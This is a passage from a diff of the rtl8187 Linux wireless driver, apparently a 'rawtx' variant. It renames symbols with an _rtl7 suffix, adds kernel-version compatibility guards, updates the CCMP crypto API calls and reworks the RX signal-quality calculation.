rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-01-30 17:38:11.000000000 +0100 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-01-30 17:38:11.000000000 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-01-30 17:38:11.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-01-30 17:38:11.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); 